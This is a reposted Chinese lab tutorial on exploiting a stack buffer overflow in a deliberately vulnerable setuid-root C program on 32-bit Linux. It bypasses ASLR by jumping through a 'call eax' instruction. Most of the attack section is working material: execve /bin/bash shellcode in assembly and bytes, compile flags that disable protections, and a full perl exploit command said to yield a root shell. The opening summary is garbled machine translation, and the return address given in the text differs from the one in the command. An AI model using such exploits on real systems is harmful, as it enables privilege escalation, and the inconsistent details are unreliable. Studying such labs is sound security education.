缓冲区溢出漏洞(2)

摘要:
先前缓冲区溢出漏洞实验的外壳代码地址中使用的静态地址被“callex”绕过。然而,在Ubuntu和其他一些Linux系统中,地址空间随机化用于随机化堆和堆栈的初始地址。静态地址攻击的使用似乎非常不足。这个实验通过程序本身的“callex”指令跳转到shell代码。程序集版本:xor%edx,%edx;推送%edx;推送$0x68732f2f;推送$0x6e69622f;移动%esp,%ebx;推送%edx;推送%ebx;移动%esp,%ecx;xor%eax,%eax;movb$0x0b,%al;整数$0x80;二进制代码:x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80“3.易受攻击的程序/*badpro.c*/#include#includevoidbadfunc{charbuffer[512];strcpy;}intmain{badfunc;return0;}上述程序的功能是将主函数的第一个参数(字符串)复制到缓冲区。
通过"call eax"绕过ASLR

实验原理

前一个缓冲区溢出漏洞实验shellcode的地址采用的静态地址,但是现在的Ubuntu和其他一些Linux系统中,使用地址空间随机化(ASLR)来随机堆(heap)和栈(stack)的初始地址,采用静态地址攻击显得有很大的不足。一种经典的绕过ASLR的方法就是通过程序自身存在的"jmp 寄存器"指令,动态跳转到shellcode,即使程序每次加载的地址不一样,但程序指令间的相对运行不会变。本实验是通过程序本身存在的“call eax”(类似jmp eax)指令跳转到shellcode。

实验环境:

实验楼环境(Ubuntu linux 64位)

实验步骤

1.配置环境

本次实验是在32位环境中完成的,而实验楼ubuntu是64位,所以先下载安装32位的库。

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

通过linux32命令进入32位linux环境。
缓冲区溢出漏洞(2)第1张
打开ASLR:
缓冲区溢出漏洞(2)第2张

2.shellcode

在前一次实验已经描述过什么是shellcode和它的作用。下面直接贴出shellcode的C版本代码:

#include <stdio.h> 
int main(int argc, char **argv) { 
    char *name[2]; 
    name[0] = "/bin/bash"; 
    name[1] = NULL; 
    execve(name[0], name, NULL); 
    return 0; 
}

shellcode怎么来的: shellcode是将上面C程序对应的汇编代码通过objdump获取其二进制代码得到的。
汇编版本:

xor %edx,%edx;
push %edx;
push $0x68732f2f;
push $0x6e69622f;
mov %esp,%ebx;
push %edx;
push %ebx;
mov %esp,%ecx;
xor %eax,%eax;
movb $0x0b,%al;int $0x80;

二进制代码:

x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80"

3.漏洞程序

/*
    badpro.c
*/
#include <stdio.h>    
#include <string.h>    
void badfunc(char *input) {    
    char buffer[512];    
    strcpy(buffer, input);    
}    
int main(int argc, char **argv) {    
    badfunc(argv[1]);    
    return 0;    
}

上面程序完成的功能是:将main函数的第一个参数(字符串)复制到buffer中。
用下面的命令进行编译链接生成可执行的badpro:

gcc -Wall -g -o badpro badpro.c -z execstack -m32 -fno-stack-protector

给该程序加上root权限,这样攻击成功后就会获得其root权限:

sudo chown root:root badpro
sudo chmod a+s badpro

4.漏洞利用

通过objdump -d badpro | grep *%eax命令查找程序中是否存在call eax或者jmp eax这样的指令。其中“*%eax”是在寄存器前面加星号,代表这是一个绝对调用或者跳转,也就是该命令是对一个绝对地址进行操作,也正是由于这样指令的存在,才使得这种攻击成为可能。
缓冲区溢出漏洞(2)第3张
选择0x08048386这个地址,作为跳板,得到最终的exploit的内容:ShellCode(N) + A(524-N) + xdfx83x04x08,这里事先生成的shellcode为25字节,因此填充了499个A。
执行如下命令:

./badpro $(perl -e 'printf "x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1x31xc0xb0x0bxcdx80" . "A"x499 ."x86x83x04x08"')
/*
    perl -e 是perl在命令行中执行的命令;printf是将后面紧跟的字符串写入标准输出流;“A”x499是产生499个A。
*/

缓冲区溢出漏洞(2)第4张
从上图可以看出,我们已经获得了root权限。成功!

免责声明:文章转载自《缓冲区溢出漏洞(2)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇unity探索者之微信分享所有流程,非第三方插件利用C++实现模块隐藏(R3层断链)下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

全志A33屏幕旋转(Android)

0x00 环境说明:所使用的开发板为锐尔威视的插针版A33_Vstar 屏幕是买的第三方的KD050FWFPA011-C009A,其中LCD驱动IC为ILI9806E 0x01 LCD驱动移植:关于LCD驱动程序的编写/移植参考以前的一篇文章:https://www.cnblogs.com/DarkBright/p/10769858.html 大致流程如下...

VFS: Cannot open root device "mtdblock5" or unknown-block(0,0): error -6解决方法

问题现象: [    2.120000] VFS: Cannot open root device "mtdblock5" or unknown-block(0,0): error -6[    2.136000] Please append a correct "root=" boot option; here are the available par...

Centos下安装Mysql

一、二进制免编译包安装  参考:http://www.apelearn.com/bbs/forum.php?mod=viewthread&tid=10105&highlight=mysql5.7 1、下载地址: http://mirrors.sohu.com/mysql/MySQL-5.7/    文件名还glibc的为免编译的二进制安装包...

Ubuntu安装mysql步骤

1.打开终端,输入: sudo apt-get updata 输入root用户密码 2.更新完毕后,输入 sudo apt-get install mysql-server ubuntu14.04安装中间会让你设置密码,输入密码后点击确认(mysql123) 3.安装结束后,查看端口号是否开启 netstat -tan | grep 3306 3306端口...

CENTOS7静默安装ORACLE11G及数据泵迁移

2021年2月4日江苏淮安特钢 CENTOS7静默安装ORACLE11G及数据泵迁移 作者:查小广(北京红河谷时代信息技术有限公司) 检化验系统LIMS 数据库迁移 Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production lims数据库oracle:192.168.20....

Linux下的/etc/crontab文件和crontab -e命令区别及Crontab命令详解(转)

/etc/crontab文件和crontab -e命令区别 1、格式不同 前者 # For details see man 4 crontabs # Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) #...